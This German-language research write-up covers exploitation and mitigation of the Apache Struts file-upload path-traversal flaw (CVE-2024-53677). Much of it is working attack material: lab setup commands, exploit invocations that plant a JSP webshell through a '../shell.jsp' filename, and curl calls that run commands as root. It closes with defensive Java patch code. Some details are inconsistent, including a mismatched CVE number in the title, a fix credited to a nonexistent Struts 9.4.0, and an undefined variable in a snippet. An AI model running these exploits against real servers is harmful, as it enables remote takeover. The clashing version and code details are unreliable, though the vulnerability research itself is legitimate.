
Forschung zu Ausnutzungsmöglichkeiten für CVE-2024-53667 und deren Behebung
Der Fehler liegt darin, wie Struts' FileUploadInterceptor den hochgeladenen Dateinamen an die Action-Klasse übergibt.
Normalerweise bereinigt der Interceptor den Dateinamen, aber Struts lässt auch zu, dass jeder Multipart-Parameter vom ParametersInterceptor als OGNL-Ausdruck verarbeitet wird. Das Senden von top.UploadFileName (oder uploadFileName[0] für Multi-File-Aktionen) als Formularfeld ruft direkt action.setUploadFileName(value) über OGNL auf und überschreibt damit, was der Interceptor gesetzt hat.
Die Aktion schreibt die Datei dann ohne Pfadbereinigung:
String uploadDir = "webapps/ROOT/uploads"; // relativ zum Tomcat-CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName); // keine Bereinigung
Das Senden von ../shell.jsp als Dateiname ergibt:
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp ← ausgeliefert unter http://localhost:8080/shell.jsp
Das Hochladen einer JSP-Webshell dort ermöglicht eine nicht authentifizierte RCE.
Es werden zwei Exploits zu dieser Schwachstelle erforscht:
Der Lab Tomcat-Anwendungsserver, der als Ziel für beide Exploits verwendet wird, stammt aus dem ersten Repository und läuft in einem Container (Docker oder Podman).
Ein weiterer Exploit wird in diesem Repository als Java-Version von poc.py bereitgestellt, die aus der zweiten Quelle stammt.
Der feine Unterschied zwischen den beiden Exploits wird in der nebeneinander angeordneten Vergleichstabelle am Ende dieses Dokuments gezeigt.
Beide Exploits wurden bestätigt, auf Struts 6.3.0.2 zu funktionieren.
Als wir jedoch Struts auf 6.8.0 oder 6.9.0 aktualisierten, funktionierte der erste Exploit (CVE-2024-53677.py) nicht mehr – aufgrund der Korrektur in Struts 9.4.0.
Der zweite Exploit (StrutsExploitRunner) funktioniert auf allen Versionen 6.3.0.2, 6.8.0, 6.9.0, es sei denn, der angreifbare Anwendungscode wird wie unten im Abschnitt zur Gegenmaßnahme empfohlen aktualisiert.
Siehe die technischen Details der Untersuchung unten.
Klonen Sie das erste Repository und wechseln Sie in dessen Stammverzeichnis:
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
Sie benötigen Docker (ursprünglich) oder Podman (in unserer Forschung verwendet), um den ausgenutzten Lab Tomcat zu bauen und auszuführen:
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
Führen Sie die Exploit-Skripte wie unten beschrieben in einer separaten Shell aus dem Stammverzeichnis des Repos mit aktivierter Python-Virtualenv aus.
Lädt eine JSP-Webshell auf /upload.action hoch, indem top.UploadFileName verwendet wird, um einen Pfad-Traversal-Dateinamen einzuschleusen. Die hartcodierte Webshell akzeptiert Befehle über ?action=cmd&cmd=<command>.
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
-p ist der als top.UploadFileName übergebene Wert. Ein ../ reicht aus, um das uploads/-Verzeichnis zu verlassen und die Datei im Web-Root abzulegen.
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
Beachten Sie den erforderlichen Parameter action=cmd – die hartcodierte Webshell prüft ihn, bevor der Befehl ausgeführt wird. Ohne ihn erhalten Sie Unknown action. anstelle einer Ausgabe.
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
Zielt auf /uploads.action (die Multi-File-Variante) und setzt uploadFileName[0] über OGNL auf einen Pfad-Traversal-Wert. Gleicher zugrunde liegender Bypass, anderer Parametername und Action-Klasse.
Sie benötigen JDK 17 oder höher, um den Exploit zu bauen und auszuführen (die java-Binärdatei sollte in Ihrem PATH sein).
Führen Sie den folgenden Befehl im Stammverzeichnis dieses Repos aus, um das ausführbare Uber-Jar zu bauen:
./mvnw clean package
java -jar target/exploit-1.0-SNAPSHOT.jar \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
--filenames legt den Dateinamen fest, sodass Sie wissen, wo Sie ihn abrufen können. Ohne diese Option generiert das Skript zufällige Namen, die in der Ausgabe ausgegeben werden.
Die von dieser Anwendung hochgeladene Webshell verwendet das einfachere ?cmd=-Interface:
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
Die kanonische Lösung ist ein Upgrade auf Struts 7.x, das den Datei-Upload-Mechanismus vollständig überarbeitet hat. Wenn dieses Upgrade blockiert ist (JDK 8-Kompatibilität, Einschränkungen durch Abhängigkeiten von Drittanbietern), kann die folgende Gegenmaßnahme angewendet werden.
Dies ist die robusteste Korrektur, da sie unabhängig davon funktioniert, was ein Interceptor übergibt. Entfernen Sie alle Pfadkomponenten aus dem Dateinamen, bevor Sie den Zielpfad erstellen, und überprüfen Sie dann, ob der aufgelöste Pfad noch im vorgesehenen Verzeichnis liegt.
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// Entfernen aller Pfadkomponenten, die der Angreifer über top.UploadFileName eingeschleust hat
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// Bestätigen, dass der aufgelöste Pfad noch im Upload-Verzeichnis liegt
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("Ungültiger Upload-Pfad.");
return ERROR;
}
// ... Bytes wie zuvor kopieren
Paths.get("../shell.jsp").getFileName() gibt shell.jsp zurück, sodass selbst wenn top.UploadFileName einen Traversal-String liefert, dieser vor jeder I/O-Operation auf einen einfachen Dateinamen reduziert wird.
Das gleiche Muster gilt für UploadsAction – wenden Sie es innerhalb der for-Schleife auf jedes uploadFileName.get(i) an.
| CVE-2024-53677.py | StrutsExploitRunner |
|---|
| Endpunkt | /upload.action | /uploads.action |
| OGNL-Parameter | top.UploadFileName | uploadFileName[0] |
| Action-Klasse | UploadAction (Einzeldatei) | UploadsAction (Mehrfachdatei) |
| Webshell-Aufruf | ?action=cmd&cmd=<cmd> | ?cmd=<cmd> |
| Standard-Pfadfehler | Keiner | --paths standardmäßig zu tief, mit .. überschreiben |